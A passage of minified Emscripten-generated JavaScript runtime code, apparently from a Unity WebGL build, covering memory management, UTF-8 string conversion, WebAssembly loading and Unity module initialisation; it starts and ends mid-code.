XMLHttpRequest;xhr.open(\"GET\",url,false);xhr.responseType=\"arraybuffer\";xhr.send(null);return new Uint8Array(xhr.response)}}Module[\"readAsync\"]=function readAsync(url,onload,onerror){var xhr=new XMLHttpRequest;xhr.open(\"GET\",url,true);xhr.responseType=\"arraybuffer\";xhr.onload=function xhr_onload(){if(xhr.status==200||xhr.status==0&&xhr.response){onload(xhr.response);return}onerror()};xhr.onerror=onerror;xhr.send(null)};Module[\"setWindowTitle\"]=(function(title){document.title=title})}else{}var out=Module[\"print\"]||(typeof console!==\"undefined\"?console.log.bind(console):typeof print!==\"undefined\"?print:null);var err=Module[\"printErr\"]||(typeof printErr!==\"undefined\"?printErr:typeof console!==\"undefined\"&&console.warn.bind(console)||out);for(key in moduleOverrides){if(moduleOverrides.hasOwnProperty(key)){Module[key]=moduleOverrides[key]}}moduleOverrides=undefined;var STACK_ALIGN=16;function staticAlloc(size){var ret=STATICTOP;STATICTOP=STATICTOP+size+15&-16;return ret}function dynamicAlloc(size){var ret=HEAP32[DYNAMICTOP_PTR>>2];var end=ret+size+15&-16;HEAP32[DYNAMICTOP_PTR>>2]=end;if(end>=TOTAL_MEMORY){var success=enlargeMemory();if(!success){HEAP32[DYNAMICTOP_PTR>>2]=ret;return 0}}return ret}function alignMemory(size,factor){if(!factor)factor=STACK_ALIGN;var ret=size=Math.ceil(size/factor)*factor;return ret}function getNativeTypeSize(type){switch(type){case\"i1\":case\"i8\":return 1;case\"i16\":return 2;case\"i32\":return 4;case\"i64\":return 8;case\"float\":return 4;case\"double\":return 8;default:{if(type[type.length-1]===\"*\"){return 4}else if(type[0]===\"i\"){var bits=parseInt(type.substr(1));assert(bits%8===0);return bits/8}else{return 0}}}}function warnOnce(text){if(!warnOnce.shown)warnOnce.shown={};if(!warnOnce.shown[text]){warnOnce.shown[text]=1;err(text)}}var asm2wasmImports={\"f64-rem\":(function(x,y){return x%y}),\"debugger\":(function(){debugger})};var jsCallStartIndex=1;var functionPointers=new Array(0);function addFunction(func,sig){var base=0;for(var i=base;i<base+0;i++){if(!functionPointers[i]){functionPointers[i]=func;return jsCallStartIndex+i}}throw\"Finished up all reserved function pointers. Use a higher value for RESERVED_FUNCTION_POINTERS.\"}var funcWrappers={};function getFuncWrapper(func,sig){if(!func)return;assert(sig);if(!funcWrappers[sig]){funcWrappers[sig]={}}var sigCache=funcWrappers[sig];if(!sigCache[func]){if(sig.length===1){sigCache[func]=function dynCall_wrapper(){return dynCall(sig,func)}}else if(sig.length===2){sigCache[func]=function dynCall_wrapper(arg){return dynCall(sig,func,[arg])}}else{sigCache[func]=function dynCall_wrapper(){return dynCall(sig,func,Array.prototype.slice.call(arguments))}}}return sigCache[func]}function makeBigInt(low,high,unsigned){return unsigned?+(low>>>0)+ +(high>>>0)*4294967296:+(low>>>0)+ +(high|0)*4294967296}function dynCall(sig,ptr,args){if(args&&args.length){return Module[\"dynCall_\"+sig].apply(null,[ptr].concat(args))}else{return Module[\"dynCall_\"+sig].call(null,ptr)}}var GLOBAL_BASE=1024;var ABORT=0;var EXITSTATUS=0;function assert(condition,text){if(!condition){abort(\"Assertion failed: \"+text)}}function getCFunc(ident){var func=Module[\"_\"+ident];assert(func,\"Cannot call unknown function \"+ident+\", make sure it is exported\");return func}var JSfuncs={\"stackSave\":(function(){stackSave()}),\"stackRestore\":(function(){stackRestore()}),\"arrayToC\":(function(arr){var ret=stackAlloc(arr.length);writeArrayToMemory(arr,ret);return ret}),\"stringToC\":(function(str){var ret=0;if(str!==null&&str!==undefined&&str!==0){var len=(str.length<<2)+1;ret=stackAlloc(len);stringToUTF8(str,ret,len)}return ret})};var toC={\"string\":JSfuncs[\"stringToC\"],\"array\":JSfuncs[\"arrayToC\"]};function ccall(ident,returnType,argTypes,args,opts){function convertReturnValue(ret){if(returnType===\"string\")return Pointer_stringify(ret);if(returnType===\"boolean\")return Boolean(ret);return ret}var func=getCFunc(ident);var cArgs=[];var stack=0;if(args){for(var i=0;i<args.length;i++){var converter=toC[argTypes[i]];if(converter){if(stack===0)stack=stackSave();cArgs[i]=converter(args[i])}else{cArgs[i]=args[i]}}}var ret=func.apply(null,cArgs);ret=convertReturnValue(ret);if(stack!==0)stackRestore(stack);return ret}function cwrap(ident,returnType,argTypes,opts){argTypes=argTypes||[];var numericArgs=argTypes.every((function(type){return type===\"number\"}));var numericRet=returnType!==\"string\";if(numericRet&&numericArgs&&!opts){return getCFunc(ident)}return(function(){return ccall(ident,returnType,argTypes,arguments,opts)})}function setValue(ptr,value,type,noSafe){type=type||\"i8\";if(type.charAt(type.length-1)===\"*\")type=\"i32\";switch(type){case\"i1\":HEAP8[ptr>>0]=value;break;case\"i8\":HEAP8[ptr>>0]=value;break;case\"i16\":HEAP16[ptr>>1]=value;break;case\"i32\":HEAP32[ptr>>2]=value;break;case\"i64\":tempI64=[value>>>0,(tempDouble=value,+Math_abs(tempDouble)>=1?tempDouble>0?(Math_min(+Math_floor(tempDouble/4294967296),4294967295)|0)>>>0:~~+Math_ceil((tempDouble- +(~~tempDouble>>>0))/4294967296)>>>0:0)],HEAP32[ptr>>2]=tempI64[0],HEAP32[ptr+4>>2]=tempI64[1];break;case\"float\":HEAPF32[ptr>>2]=value;break;case\"double\":HEAPF64[ptr>>3]=value;break;default:abort(\"invalid type for setValue: \"+type)}}var ALLOC_NORMAL=0;var ALLOC_STACK=1;var ALLOC_STATIC=2;var ALLOC_NONE=4;function allocate(slab,types,allocator,ptr){var zeroinit,size;if(typeof slab===\"number\"){zeroinit=true;size=slab}else{zeroinit=false;size=slab.length}var singleType=typeof types===\"string\"?types:null;var ret;if(allocator==ALLOC_NONE){ret=ptr}else{ret=[typeof _malloc===\"function\"?_malloc:staticAlloc,stackAlloc,staticAlloc,dynamicAlloc][allocator===undefined?ALLOC_STATIC:allocator](Math.max(size,singleType?1:types.length))}if(zeroinit){var stop;ptr=ret;assert((ret&3)==0);stop=ret+(size&~3);for(;ptr<stop;ptr+=4){HEAP32[ptr>>2]=0}stop=ret+size;while(ptr<stop){HEAP8[ptr++>>0]=0}return ret}if(singleType===\"i8\"){if(slab.subarray||slab.slice){HEAPU8.set(slab,ret)}else{HEAPU8.set(new Uint8Array(slab),ret)}return ret}var i=0,type,typeSize,previousType;while(i<size){var curr=slab[i];type=singleType||types[i];if(type===0){i++;continue}if(type==\"i64\")type=\"i32\";setValue(ret+i,curr,type);if(previousType!==type){typeSize=getNativeTypeSize(type);previousType=type}i+=typeSize}return ret}function getMemory(size){if(!staticSealed)return staticAlloc(size);if(!runtimeInitialized)return dynamicAlloc(size);return _malloc(size)}function Pointer_stringify(ptr,length){if(length===0||!ptr)return\"\";var hasUtf=0;var t;var i=0;while(1){t=HEAPU8[ptr+i>>0];hasUtf|=t;if(t==0&&!length)break;i++;if(length&&i==length)break}if(!length)length=i;var ret=\"\";if(hasUtf<128){var MAX_CHUNK=1024;var curr;while(length>0){curr=String.fromCharCode.apply(String,HEAPU8.subarray(ptr,ptr+Math.min(length,MAX_CHUNK)));ret=ret?ret+curr:curr;ptr+=MAX_CHUNK;length-=MAX_CHUNK}return ret}return UTF8ToString(ptr)}var UTF8Decoder=typeof TextDecoder!==\"undefined\"?new TextDecoder(\"utf8\"):undefined;function UTF8ArrayToString(u8Array,idx){var endPtr=idx;while(u8Array[endPtr])++endPtr;if(endPtr-idx>16&&u8Array.subarray&&UTF8Decoder){return UTF8Decoder.decode(u8Array.subarray(idx,endPtr))}else{var u0,u1,u2,u3,u4,u5;var str=\"\";while(1){u0=u8Array[idx++];if(!u0)return str;if(!(u0&128)){str+=String.fromCharCode(u0);continue}u1=u8Array[idx++]&63;if((u0&224)==192){str+=String.fromCharCode((u0&31)<<6|u1);continue}u2=u8Array[idx++]&63;if((u0&240)==224){u0=(u0&15)<<12|u1<<6|u2}else{u3=u8Array[idx++]&63;if((u0&248)==240){u0=(u0&7)<<18|u1<<12|u2<<6|u3}else{u4=u8Array[idx++]&63;if((u0&252)==248){u0=(u0&3)<<24|u1<<18|u2<<12|u3<<6|u4}else{u5=u8Array[idx++]&63;u0=(u0&1)<<30|u1<<24|u2<<18|u3<<12|u4<<6|u5}}}if(u0<65536){str+=String.fromCharCode(u0)}else{var ch=u0-65536;str+=String.fromCharCode(55296|ch>>10,56320|ch&1023)}}}}function UTF8ToString(ptr){return UTF8ArrayToString(HEAPU8,ptr)}function stringToUTF8Array(str,outU8Array,outIdx,maxBytesToWrite){if(!(maxBytesToWrite>0))return 0;var startIdx=outIdx;var endIdx=outIdx+maxBytesToWrite-1;for(var i=0;i<str.length;++i){var u=str.charCodeAt(i);if(u>=55296&&u<=57343){var u1=str.charCodeAt(++i);u=65536+((u&1023)<<10)|u1&1023}if(u<=127){if(outIdx>=endIdx)break;outU8Array[outIdx++]=u}else if(u<=2047){if(outIdx+1>=endIdx)break;outU8Array[outIdx++]=192|u>>6;outU8Array[outIdx++]=128|u&63}else if(u<=65535){if(outIdx+2>=endIdx)break;outU8Array[outIdx++]=224|u>>12;outU8Array[outIdx++]=128|u>>6&63;outU8Array[outIdx++]=128|u&63}else if(u<=2097151){if(outIdx+3>=endIdx)break;outU8Array[outIdx++]=240|u>>18;outU8Array[outIdx++]=128|u>>12&63;outU8Array[outIdx++]=128|u>>6&63;outU8Array[outIdx++]=128|u&63}else if(u<=67108863){if(outIdx+4>=endIdx)break;outU8Array[outIdx++]=248|u>>24;outU8Array[outIdx++]=128|u>>18&63;outU8Array[outIdx++]=128|u>>12&63;outU8Array[outIdx++]=128|u>>6&63;outU8Array[outIdx++]=128|u&63}else{if(outIdx+5>=endIdx)break;outU8Array[outIdx++]=252|u>>30;outU8Array[outIdx++]=128|u>>24&63;outU8Array[outIdx++]=128|u>>18&63;outU8Array[outIdx++]=128|u>>12&63;outU8Array[outIdx++]=128|u>>6&63;outU8Array[outIdx++]=128|u&63}}outU8Array[outIdx]=0;return outIdx-startIdx}function stringToUTF8(str,outPtr,maxBytesToWrite){return stringToUTF8Array(str,HEAPU8,outPtr,maxBytesToWrite)}function lengthBytesUTF8(str){var len=0;for(var i=0;i<str.length;++i){var u=str.charCodeAt(i);if(u>=55296&&u<=57343)u=65536+((u&1023)<<10)|str.charCodeAt(++i)&1023;if(u<=127){++len}else if(u<=2047){len+=2}else if(u<=65535){len+=3}else if(u<=2097151){len+=4}else if(u<=67108863){len+=5}else{len+=6}}return len}var UTF16Decoder=typeof TextDecoder!==\"undefined\"?new TextDecoder(\"utf-16le\"):undefined;function allocateUTF8(str){var size=lengthBytesUTF8(str)+1;var ret=_malloc(size);if(ret)stringToUTF8Array(str,HEAP8,ret,size);return ret}function allocateUTF8OnStack(str){var size=lengthBytesUTF8(str)+1;var ret=stackAlloc(size);stringToUTF8Array(str,HEAP8,ret,size);return ret}function demangle(func){return func}function demangleAll(text){var regex=/__Z[\\w\\d_]+/g;return text.replace(regex,(function(x){var y=demangle(x);return x===y?x:x+\" [\"+y+\"]\"}))}function jsStackTrace(){var err=new Error;if(!err.stack){try{throw new Error(0)}catch(e){err=e}if(!err.stack){return\"(no stack trace available)\"}}return err.stack.toString()}function stackTrace(){var js=jsStackTrace();if(Module[\"extraStackTrace\"])js+=\"\\n\"+Module[\"extraStackTrace\"]();return demangleAll(js)}var PAGE_SIZE=16384;var WASM_PAGE_SIZE=65536;var ASMJS_PAGE_SIZE=16777216;var MIN_TOTAL_MEMORY=16777216;function alignUp(x,multiple){if(x%multiple>0){x+=multiple-x%multiple}return x}var buffer,HEAP8,HEAPU8,HEAP16,HEAPU16,HEAP32,HEAPU32,HEAPF32,HEAPF64;function updateGlobalBuffer(buf){Module[\"buffer\"]=buffer=buf}function updateGlobalBufferViews(){Module[\"HEAP8\"]=HEAP8=new Int8Array(buffer);Module[\"HEAP16\"]=HEAP16=new Int16Array(buffer);Module[\"HEAP32\"]=HEAP32=new Int32Array(buffer);Module[\"HEAPU8\"]=HEAPU8=new Uint8Array(buffer);Module[\"HEAPU16\"]=HEAPU16=new Uint16Array(buffer);Module[\"HEAPU32\"]=HEAPU32=new Uint32Array(buffer);Module[\"HEAPF32\"]=HEAPF32=new Float32Array(buffer);Module[\"HEAPF64\"]=HEAPF64=new Float64Array(buffer)}var STATIC_BASE,STATICTOP,staticSealed;var STACK_BASE,STACKTOP,STACK_MAX;var DYNAMIC_BASE,DYNAMICTOP_PTR;STATIC_BASE=STATICTOP=STACK_BASE=STACKTOP=STACK_MAX=DYNAMIC_BASE=DYNAMICTOP_PTR=0;staticSealed=false;function abortOnCannotGrowMemory(){abort(\"Cannot enlarge memory arrays. Either (1) compile with  -s TOTAL_MEMORY=X  with X higher than the current value \"+TOTAL_MEMORY+\", (2) compile with  -s ALLOW_MEMORY_GROWTH=1  which allows increasing the size at runtime, or (3) if you want malloc to return NULL (0) instead of this abort, compile with  -s ABORTING_MALLOC=0 \")}if(!Module[\"reallocBuffer\"])Module[\"reallocBuffer\"]=(function(size){var ret;try{if(ArrayBuffer.transfer){ret=ArrayBuffer.transfer(buffer,size)}else{var oldHEAP8=HEAP8;ret=new ArrayBuffer(size);var temp=new Int8Array(ret);temp.set(oldHEAP8)}}catch(e){return false}var success=_emscripten_replace_memory(ret);if(!success)return false;return ret});function enlargeMemory(){var PAGE_MULTIPLE=Module[\"usingWasm\"]?WASM_PAGE_SIZE:ASMJS_PAGE_SIZE;var LIMIT=2147483648-PAGE_MULTIPLE;if(HEAP32[DYNAMICTOP_PTR>>2]>LIMIT){return false}var OLD_TOTAL_MEMORY=TOTAL_MEMORY;TOTAL_MEMORY=Math.max(TOTAL_MEMORY,MIN_TOTAL_MEMORY);while(TOTAL_MEMORY<HEAP32[DYNAMICTOP_PTR>>2]){if(TOTAL_MEMORY<=536870912){TOTAL_MEMORY=alignUp(2*TOTAL_MEMORY,PAGE_MULTIPLE)}else{TOTAL_MEMORY=Math.min(alignUp((3*TOTAL_MEMORY+2147483648)/4,PAGE_MULTIPLE),LIMIT)}}var replacement=Module[\"reallocBuffer\"](TOTAL_MEMORY);if(!replacement||replacement.byteLength!=TOTAL_MEMORY){TOTAL_MEMORY=OLD_TOTAL_MEMORY;return false}updateGlobalBuffer(replacement);updateGlobalBufferViews();return true}var byteLength;try{byteLength=Function.prototype.call.bind(Object.getOwnPropertyDescriptor(ArrayBuffer.prototype,\"byteLength\").get);byteLength(new ArrayBuffer(4))}catch(e){byteLength=(function(buffer){return buffer.byteLength})}var TOTAL_STACK=Module[\"TOTAL_STACK\"]||5242880;var TOTAL_MEMORY=Module[\"TOTAL_MEMORY\"]||33554432;if(TOTAL_MEMORY<TOTAL_STACK)err(\"TOTAL_MEMORY should be larger than TOTAL_STACK, was \"+TOTAL_MEMORY+\"! (TOTAL_STACK=\"+TOTAL_STACK+\")\");if(Module[\"buffer\"]){buffer=Module[\"buffer\"]}else{if(typeof WebAssembly===\"object\"&&typeof WebAssembly.Memory===\"function\"){Module[\"wasmMemory\"]=new WebAssembly.Memory({\"initial\":TOTAL_MEMORY/WASM_PAGE_SIZE});buffer=Module[\"wasmMemory\"].buffer}else{buffer=new ArrayBuffer(TOTAL_MEMORY)}Module[\"buffer\"]=buffer}updateGlobalBufferViews();function getTotalMemory(){return TOTAL_MEMORY}function callRuntimeCallbacks(callbacks){while(callbacks.length>0){var callback=callbacks.shift();if(typeof callback==\"function\"){callback();continue}var func=callback.func;if(typeof func===\"number\"){if(callback.arg===undefined){Module[\"dynCall_v\"](func)}else{Module[\"dynCall_vi\"](func,callback.arg)}}else{func(callback.arg===undefined?null:callback.arg)}}}var __ATPRERUN__=[];var __ATINIT__=[];var __ATMAIN__=[];var __ATEXIT__=[];var __ATPOSTRUN__=[];var runtimeInitialized=false;var runtimeExited=false;function preRun(){if(Module[\"preRun\"]){if(typeof Module[\"preRun\"]==\"function\")Module[\"preRun\"]=[Module[\"preRun\"]];while(Module[\"preRun\"].length){addOnPreRun(Module[\"preRun\"].shift())}}callRuntimeCallbacks(__ATPRERUN__)}function ensureInitRuntime(){if(runtimeInitialized)return;runtimeInitialized=true;callRuntimeCallbacks(__ATINIT__)}function preMain(){callRuntimeCallbacks(__ATMAIN__)}function exitRuntime(){callRuntimeCallbacks(__ATEXIT__);runtimeExited=true}function postRun(){if(Module[\"postRun\"]){if(typeof Module[\"postRun\"]==\"function\")Module[\"postRun\"]=[Module[\"postRun\"]];while(Module[\"postRun\"].length){addOnPostRun(Module[\"postRun\"].shift())}}callRuntimeCallbacks(__ATPOSTRUN__)}function addOnPreRun(cb){__ATPRERUN__.unshift(cb)}function addOnPostRun(cb){__ATPOSTRUN__.unshift(cb)}function writeArrayToMemory(array,buffer){HEAP8.set(array,buffer)}function writeAsciiToMemory(str,buffer,dontAddNull){for(var i=0;i<str.length;++i){HEAP8[buffer++>>0]=str.charCodeAt(i)}if(!dontAddNull)HEAP8[buffer>>0]=0}function unSign(value,bits,ignore){if(value>=0){return value}return bits<=32?2*Math.abs(1<<bits-1)+value:Math.pow(2,bits)+value}function reSign(value,bits,ignore){if(value<=0){return value}var half=bits<=32?Math.abs(1<<bits-1):Math.pow(2,bits-1);if(value>=half&&(bits<=32||value>half)){value=-2*half+value}return value}var Math_abs=Math.abs;var Math_cos=Math.cos;var Math_sin=Math.sin;var Math_sqrt=Math.sqrt;var Math_ceil=Math.ceil;var Math_floor=Math.floor;var Math_pow=Math.pow;var Math_min=Math.min;var Math_clz32=Math.clz32;var Math_trunc=Math.trunc;var runDependencies=0;var runDependencyWatcher=null;var dependenciesFulfilled=null;function getUniqueRunDependency(id){return id}function addRunDependency(id){runDependencies++;if(Module[\"monitorRunDependencies\"]){Module[\"monitorRunDependencies\"](runDependencies)}}function removeRunDependency(id){runDependencies--;if(Module[\"monitorRunDependencies\"]){Module[\"monitorRunDependencies\"](runDependencies)}if(runDependencies==0){if(runDependencyWatcher!==null){clearInterval(runDependencyWatcher);runDependencyWatcher=null}if(dependenciesFulfilled){var callback=dependenciesFulfilled;dependenciesFulfilled=null;callback()}}}Module[\"preloadedImages\"]={};Module[\"preloadedAudios\"]={};var dataURIPrefix=\"data:application/octet-stream;base64,\";function isDataURI(filename){return String.prototype.startsWith?filename.startsWith(dataURIPrefix):filename.indexOf(dataURIPrefix)===0}function integrateWasmJS(){var wasmTextFile=\"build.wast\";var wasmBinaryFile=\"build.wasm\";var asmjsCodeFile=\"build.temp.asm.js\";if(!isDataURI(wasmTextFile)){wasmTextFile=locateFile(wasmTextFile)}if(!isDataURI(wasmBinaryFile)){wasmBinaryFile=locateFile(wasmBinaryFile)}if(!isDataURI(asmjsCodeFile)){asmjsCodeFile=locateFile(asmjsCodeFile)}var wasmPageSize=64*1024;var info={\"global\":null,\"env\":null,\"asm2wasm\":asm2wasmImports,\"parent\":Module};var exports=null;function mergeMemory(newBuffer){var oldBuffer=Module[\"buffer\"];if(newBuffer.byteLength<oldBuffer.byteLength){err(\"the new buffer in mergeMemory is smaller than the previous one. in native wasm, we should grow memory here\")}var oldView=new Int8Array(oldBuffer);var newView=new Int8Array(newBuffer);newView.set(oldView);updateGlobalBuffer(newBuffer);updateGlobalBufferViews()}function fixImports(imports){return imports}function getBinary(){try{if(Module[\"wasmBinary\"]){return new Uint8Array(Module[\"wasmBinary\"])}if(Module[\"readBinary\"]){return Module[\"readBinary\"](wasmBinaryFile)}else{throw\"both async and sync fetching of the wasm failed\"}}catch(err){abort(err)}}function getBinaryPromise(){if(!Module[\"wasmBinary\"]&&(ENVIRONMENT_IS_WEB||ENVIRONMENT_IS_WORKER)&&typeof fetch===\"function\"){return fetch(wasmBinaryFile,{credentials:\"same-origin\"}).then((function(response){if(!response[\"ok\"]){throw\"failed to load wasm binary file at '\"+wasmBinaryFile+\"'\"}return response[\"arrayBuffer\"]()})).catch((function(){return getBinary()}))}return new Promise((function(resolve,reject){resolve(getBinary())}))}function doNativeWasm(global,env,providedBuffer){if(typeof WebAssembly!==\"object\"){err(\"no native wasm support detected\");return false}if(!(Module[\"wasmMemory\"]instanceof WebAssembly.Memory)){err(\"no native wasm Memory in use\");return false}env[\"memory\"]=Module[\"wasmMemory\"];info[\"global\"]={\"NaN\":NaN,\"Infinity\":Infinity};info[\"global.Math\"]=Math;info[\"env\"]=env;function receiveInstance(instance,module){exports=instance.exports;if(exports.memory)mergeMemory(exports.memory);Module[\"asm\"]=exports;Module[\"usingWasm\"]=true;removeRunDependency(\"wasm-instantiate\")}addRunDependency(\"wasm-instantiate\");if(Module[\"instantiateWasm\"]){try{return Module[\"instantiateWasm\"](info,receiveInstance)}catch(e){err(\"Module.instantiateWasm callback failed with error: \"+e);return false}}function receiveInstantiatedSource(output){receiveInstance(output[\"instance\"],output[\"module\"])}function instantiateArrayBuffer(receiver){getBinaryPromise().then((function(binary){return WebAssembly.instantiate(binary,info)})).then(receiver).catch((function(reason){err(\"failed to asynchronously prepare wasm: \"+reason);abort(reason)}))}if(!Module[\"wasmBinary\"]&&typeof WebAssembly.instantiateStreaming===\"function\"&&!isDataURI(wasmBinaryFile)&&typeof fetch===\"function\"){WebAssembly.instantiateStreaming(fetch(wasmBinaryFile,{credentials:\"same-origin\"}),info).then(receiveInstantiatedSource).catch((function(reason){err(\"wasm streaming compile failed: \"+reason);err(\"falling back to ArrayBuffer instantiation\");instantiateArrayBuffer(receiveInstantiatedSource)}))}else{instantiateArrayBuffer(receiveInstantiatedSource)}return{}}Module[\"asmPreload\"]=Module[\"asm\"];var asmjsReallocBuffer=Module[\"reallocBuffer\"];var wasmReallocBuffer=(function(size){var PAGE_MULTIPLE=Module[\"usingWasm\"]?WASM_PAGE_SIZE:ASMJS_PAGE_SIZE;size=alignUp(size,PAGE_MULTIPLE);var old=Module[\"buffer\"];var oldSize=old.byteLength;if(Module[\"usingWasm\"]){try{var result=Module[\"wasmMemory\"].grow((size-oldSize)/wasmPageSize);if(result!==(-1|0)){return Module[\"buffer\"]=Module[\"wasmMemory\"].buffer}else{return null}}catch(e){return null}}});Module[\"reallocBuffer\"]=(function(size){if(finalMethod===\"asmjs\"){return asmjsReallocBuffer(size)}else{return wasmReallocBuffer(size)}});var finalMethod=\"\";Module[\"asm\"]=(function(global,env,providedBuffer){env=fixImports(env);if(!env[\"table\"]){var TABLE_SIZE=Module[\"wasmTableSize\"];if(TABLE_SIZE===undefined)TABLE_SIZE=1024;var MAX_TABLE_SIZE=Module[\"wasmMaxTableSize\"];if(typeof WebAssembly===\"object\"&&typeof WebAssembly.Table===\"function\"){if(MAX_TABLE_SIZE!==undefined){env[\"table\"]=new WebAssembly.Table({\"initial\":TABLE_SIZE,\"maximum\":MAX_TABLE_SIZE,\"element\":\"anyfunc\"})}else{env[\"table\"]=new WebAssembly.Table({\"initial\":TABLE_SIZE,element:\"anyfunc\"})}}else{env[\"table\"]=new Array(TABLE_SIZE)}Module[\"wasmTable\"]=env[\"table\"]}if(!env[\"memoryBase\"]){env[\"memoryBase\"]=Module[\"STATIC_BASE\"]}if(!env[\"tableBase\"]){env[\"tableBase\"]=0}var exports;exports=doNativeWasm(global,env,providedBuffer);assert(exports,\"no binaryen method succeeded.\");return exports});}integrateWasmJS();var ASM_CONSTS=[(function(){return Module.webglContextAttributes.premultipliedAlpha}),(function(){return Module.webglContextAttributes.preserveDrawingBuffer}),(function($0){throw new Error('Internal Unity error: gles::GetProcAddress(\"'+Pointer_stringify($0)+'\") was called but gles::GetProcAddress() is not implemented on Unity WebGL. Please report a bug.')}),(function(){return typeof Module.shouldQuit!=\"undefined\"}),(function(){for(var id in Module.intervals){window.clearInterval(id)}Module.intervals={};for(var i=0;i<Module.deinitializers.length;i++){Module.deinitializers[i]()}Module.deinitializers=[];if(typeof Module.onQuit==\"function\")Module.onQuit()})];function _emscripten_asm_const_i(code){return ASM_CONSTS[code]()}function _emscripten_asm_const_sync_on_main_thread_i(code){return ASM_CONSTS[code]()}function _emscripten_asm_const_ii(code,a0){return ASM_CONSTS[code](a0)}STATIC_BASE=GLOBAL_BASE;STATICTOP=STATIC_BASE+2672080;__ATINIT__.push({func:(function(){__GLOBAL__sub_I_Modules_ParticleSystem_0_cpp()})},{func:(function(){__GLOBAL__sub_I_PlatformDependent_WebGL_External_baselib_builds_Source_0_cpp()})},{func:(function(){__GLOBAL__sub_I_Modules_DSPGraph_Public_1_cpp()})},{func:(function(){__GLOBAL__sub_I_DirectorScriptingClasses_cpp()})},{func:(function(){__GLOBAL__sub_I_GridScriptingClasses_cpp()})},{func:(function(){__GLOBAL__sub_I_Modules_Grid_Public_0_cpp()})},{func:(function(){__GLOBAL__sub_I_IMGUIScriptingClasses_cpp()})},{func:(function(){__GLOBAL__sub_I_Modules_IMGUI_0_cpp()})},{func:(function(){___cxx_global_var_init_23()})},{func:(function(){__GLOBAL__sub_I_Modules_IMGUI_1_cpp()})},{func:(function(){___cxx_global_var_init_4009()})},{func:(function(){__GLOBAL__sub_I_InputLegacyScriptingClasses_cpp()})},{func:(function(){__GLOBAL__sub_I_InputScriptingClasses_cpp()})},{func:(function(){__GLOBAL__sub_I_Modules_Input_Private_0_cpp()})},{func:(function(){__GLOBAL__sub_I_ParticleSystemScriptingClasses_cpp()})},{func:(function(){__GLOBAL__sub_I_Shader_cpp()})},{func:(function(){__GLOBAL__sub_I_ShapeModule_cpp()})},{func:(function(){__GLOBAL__sub_I_UVModule_cpp()})},{func:(function(){__GLOBAL__sub_I_Physics2DScriptingClasses_cpp()})},{func:(function(){__GLOBAL__sub_I_Modules_Physics2D_Public_0_cpp()})},{func:(function(){__GLOBAL__sub_I_Modules_Physics2D_Public_1_cpp()})},{func:(function(){__GLOBAL__sub_I_PhysicsScriptingClasses_cpp()})},{func:(function(){__GLOBAL__sub_I_Modules_Physics_0_cpp()})},{func:(function(){__GLOBAL__sub_I_Modules_Physics_2_cpp()})},{func:(function(){__GLOBAL__sub_I_PhysicsQuery_cpp()})},{func:(function(){__GLOBAL__sub_I_SubsystemsScriptingClasses_cpp()})},{func:(function(){__GLOBAL__sub_I_Modules_Subsystems_0_cpp()})},{func:(function(){__GLOBAL__sub_I_TerrainScriptingClasses_cpp()})},{func:(function(){__GLOBAL__sub_I_Modules_Terrain_Public_0_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_Scripting_3_cpp()})},{func:(function(){___cxx_global_var_init_20()})},{func:(function(){__GLOBAL__sub_I_Modules_Profiler_Public_1_cpp()})},{func:(function(){__GLOBAL__sub_I_Modules_Profiler_Runtime_1_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_Export_Unsafe_0_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_GfxDevice_1_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_GfxDevice_2_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_GfxDevice_3_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_GfxDevice_4_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_GfxDevice_5_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_PluginInterface_0_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_Director_Core_1_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_ScriptingBackend_Il2Cpp_0_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_Scripting_0_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_Scripting_2_cpp()})},{func:(function(){__GLOBAL__sub_I_Modules_Terrain_Public_1_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_Mono_2_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_Mono_SerializationBackend_DirectMemoryAccess_0_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_Mono_SerializationBackend_DirectMemoryAccess_1_cpp()})},{func:(function(){__GLOBAL__sub_I_TemplateInstantiations_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_Scripting_APIUpdating_0_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_Serialize_1_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_Serialize_2_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_Serialize_TransferFunctions_0_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_Serialize_TransferFunctions_1_cpp()})},{func:(function(){__GLOBAL__sub_I_PlatformDependent_WebGL_Source_0_cpp()})},{func:(function(){__GLOBAL__sub_I_PlatformDependent_WebGL_Source_2_cpp()})},{func:(function(){__GLOBAL__sub_I_Mesh_cpp()})},{func:(function(){__GLOBAL__sub_I_LogAssert_cpp()})},{func:(function(){__GLOBAL__sub_I_Modules_XR_Subsystems_Input_Public_1_cpp()})},{func:(function(){__GLOBAL__sub_I_Modules_VR_0_cpp()})},{func:(function(){__GLOBAL__sub_I_Modules_VR_1_cpp()})},{func:(function(){__GLOBAL__sub_I_PluginInterfaceVR_cpp()})},{func:(function(){__GLOBAL__sub_I_VideoScriptingClasses_cpp()})},{func:(function(){__GLOBAL__sub_I_Modules_Video_Public_Base_0_cpp()})},{func:(function(){__GLOBAL__sub_I_Wind_cpp()})},{func:(function(){__GLOBAL__sub_I_XRScriptingClasses_cpp()})},{func:(function(){__GLOBAL__sub_I_Modules_XR_0_cpp()})},{func:(function(){__GLOBAL__sub_I_XRAudio_cpp()})},{func:(function(){__GLOBAL__sub_I_XRPreInit_cpp()})},{func:(function(){__GLOBAL__sub_I_Modules_XR_Public_0_cpp()})},{func:(function(){__GLOBAL__sub_I_Modules_XR_Stats_0_cpp()})},{func:(function(){__GLOBAL__sub_I_Modules_XR_Subsystems_Display_0_cpp()})},{func:(function(){__GLOBAL__sub_I_Modules_XR_Subsystems_Input_Public_0_cpp()})},{func:(function(){__GLOBAL__sub_I_VRScriptingClasses_cpp()})},{func:(function(){__GLOBAL__sub_I_Modules_XR_Subsystems_Meshing_0_cpp()})},{func:(function(